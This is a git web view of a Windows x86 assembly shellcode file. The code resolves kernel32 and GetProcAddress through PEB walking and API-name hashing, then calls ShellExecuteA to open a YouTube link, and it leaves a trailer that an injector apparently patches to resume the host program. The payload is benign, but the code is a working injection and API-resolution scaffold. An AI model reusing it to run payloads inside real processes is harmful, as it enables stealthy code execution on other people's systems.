aboutsummaryrefslogtreecommitdiff
path: root/shellcode.asm
blob: 2d1826c7fed85bfbfc3af2ef31436b83ba3210ff (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
bits 32
section .shellcode align=1

global _shellcode
global _shellcode_size

_shellcode:
jmp _shellcode_entry


; Calculate a 32 bit hash from a string (non-case-sensitive)
; arguments: esi = ptr to string
;            ecx = bufsiz
; modifies : eax, edi
; return   : 32 bit hash value in edi
_calcStrHash:
  xor edi,edi
  _calcHash_loop:
  xor eax,eax
  lodsb                         ; read in the next byte of the name [esi] and store it in al
  cmp al,'a'                    ; some versions of Windows use lower case module names
  jl _calcHash_not_lowercase
  sub al,0x20                   ; if so normalise to uppercase
  _calcHash_not_lowercase:
  ror edi,13                    ; rotate right our hash value
  add edi,eax                   ; add the next byte of the name to the hash
  loop _calcHash_loop
  ret

; Get base address of kernel32.dll (alternative way through PEB)
; arguments: -
; modifies : eax, ebx
; return   : base addres in eax
_getModuleHandleKernel32PEB:
  mov eax,[fs:0x30]                  ; PEB
  mov eax,[eax+0x0c]                 ; PEB->Ldr
  mov eax,[eax+0x14]                 ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
  mov ebx,eax
  xor ecx,ecx
  _getModuleHandleKernel32PEB_loop:
  pushad
  mov esi,[ebx+0x28]                 ; Flink.ModuleName (16bit UNICODE)
  mov ecx,0x18                       ; max module length: 24 -> len('kernel32.dll')*2
  call _calcStrHash
  cmp edi,0x6A4ABC5B                 ; pre calculated module name hash of 'kernel32.dll'
  popad
  mov ecx,[ebx+0x10]                 ; get base address
  mov ebx,[ebx]
  jne _getModuleHandleKernel32PEB_loop
  mov eax,ecx
  ret
  _getModuleHandleKernel32PEB_fail:
  xor eax,eax
  ret

; Get Address of GetProcAddress from module export directory
; arguments: eax = kernel32 base address
; modifies : eax, ebx, ecx, edi, edx, esi
; return   : eax
_getAdrOfGetProcAddress:
  mov ebx,eax
  add ebx,[eax+0x3c]                 ; PE header
  mov ebx,[ebx+0x78]                 ; RVA export directory
  add ebx,eax
  mov esi,[ebx+0x20]                 ; RVA Export Number Table
  add esi,eax                        ; VA of ENT
  mov edx,eax                        ; remember kernel base
  xor ecx,ecx
  _getAdrOfGetProcAddress_loop:
    inc ecx
    lodsd                            ; load dword from esi into eax
    add eax,edx                      ; add kernel base
    pushad
    mov esi,eax                      ; string
    mov ecx,14                       ; len('GetProcAddress')
    call _calcStrHash
    cmp edi,0x1ACAEE7A               ; pre calculated hash of 'GetProcAddress' (see _calcStrHash)
    popad
    jne _getAdrOfGetProcAddress_loop
  dec ecx
  mov edi,ebx
  mov edi,[edi+0x24]                 ; RVA of Export Ordinal Table
  add edi,edx                        ; VA of EOT
  movzx edi,word [ecx*2+edi]         ; ordinal to function
  mov eax,ebx
  mov eax,[eax+0x1c]                 ; RVA of Export Address Table
  add eax,edx                        ; VA of EAT
  mov eax,[edi*4+eax]                ; RVA of GetProcAddress
  add eax,edx                        ; VA of GetProcAddress
  ret


_shellcode_entry:
; Wanna debug?
;int3
pushad
; Get Kernel32 base address from PEB
call _getModuleHandleKernel32PEB 	 ; kernel32.dll stores the base in eax
sub esp, 8                           ; make space for address of LoadLibraryA
                                     ; and Shell32.dll base address
push eax
call _getAdrOfGetProcAddress  		 ; locate GetProcAddress by using eax (result in eax)
push eax
mov ebp,esp                          ; new stack frame
; LoadLibraryA / ShellExecuteA
push 0x00000000                      ; NUL termination
push 0x41797261                      ; 'Ayra'
push 0x7262694C                      ; 'rbiL'
push 0x64616F4C                      ; 'daoL'
push esp                             ; ptr to string above (1st arg for GetProcAddress)
push dword [ebp+4]                   ; KERNEL32.dll base address (2nd arg for GetProcAddress)
call [ebp]                           ; GetProcAddress
mov [ebp+8],eax                      ; LoadLibraryA in eax

push 0x006C6C64                      ; 'lld'
push 0x2E32336C                      ; '.23l'
push 0x6C656853                      ; 'lehS'
push esp                             ; ptr to string above (1st arg for LoadLibraryA)
call [ebp+8]                         ; GetProcAddress
mov [ebp+12],eax                     ; Shell32.dll in eax

push 0x00000041                      ; 'A'
push 0x65747563                      ; 'etuc'
push 0x6578456C                      ; 'exEl'
push 0x6C656853                      ; 'lehS'
push esp                             ; ptr to string above (1st arg for GetProcAddress)
push dword [ebp+12]                  ; Shell32.dll base address (2nd arg for GetProcAddress)
call [ebp]                           ; GetProcAddress
; ShellExecuteA address in eax

; ShellExecuteA
; URL: http://y2u.be/DLzxrzFCyOs
push 0x00000073                      ; 's'
push 0x4F794346                      ; 'OyCF'
push 0x7A72787A                      ; 'zrxz'
push 0x4C442F65                      ; 'LD/e'
push 0x622E7532                      ; 'b.u2'
push 0x792F2F3A                      ; 'y//:'
push 0x70747468                      ; 'ptth'
; 'Open'
push 0x00000000
push 0x6E65706F
; Arguments for ShellExecuteA
push 0x00000001                      ; nShowCmd -> SW_SHOWNORMAL
push esp
push 0x00000000                      ; lpDirectory -> NULL
push 0x00000000                      ; lpParameters -> NULL
push esp
add dword [esp], 24                  ; lpFile -> address to URL
push esp
add dword [esp], 20                  ; lpOperation -> address to 'Open'
push 0x00000000                      ; hwnd -> NULL
call eax

; cleanup stack memory
add esp,16 + 12 + 16 + 28 + 8 + 4 + 8
pop eax
pop eax
popad

; The following code is typically used to test the shellcode.
; If you don't plan to test it e.g. by running test_shellcode()
; you can delete the cmp, jne, ret and shellcode_noret.
cmp eax, 0xDEADBEEF
jne shellcode_noret
ret
shellcode_noret:
; The following 10 bytes represent the shellcode_trailer union (see injector.c).
; It will be overwritten by our "jump back to original code flow" instruction.
db 0xFF,0xDE,0xAD,0xC0,0xDE          ; insts[0]
db 0x00,0x00,0x00,0x00,0x00          ; insts[1]

_shellcode_size:
dd $ - _shellcode